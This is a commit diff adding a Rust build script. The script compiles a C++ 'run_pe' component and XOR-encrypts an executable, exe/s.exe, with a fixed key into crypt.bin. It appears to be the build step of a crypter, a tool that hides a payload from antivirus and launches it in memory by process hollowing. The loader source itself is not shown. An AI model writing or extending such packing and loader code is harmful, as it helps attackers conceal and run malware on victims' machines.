initial commit

build.rs

@@ -0,0 +1,24 @@
+use std::{fs, path::Path};
+
+fn main() {
+    cc::Build::new()
+        .cpp(true)
+        .file("cpp/run_pe.cpp")
+        .compile("peffi");
+
+    let in_path = Path::new("exe/s.exe");
+
+    let key = 0x42;
+
+    let mut bytes = fs::read(in_path).expect("failed to read input");
+    xor_crypt(bytes.as_mut_slice(), key);
+
+    let out_path = Path::new("crypt.bin");
+    fs::write(out_path, bytes).expect("failed to write");
+}
+
+fn xor_crypt(input: &mut [u8], key: u8) {
+    for byte in input.iter_mut() {
+        *byte ^= key;
+    }
+}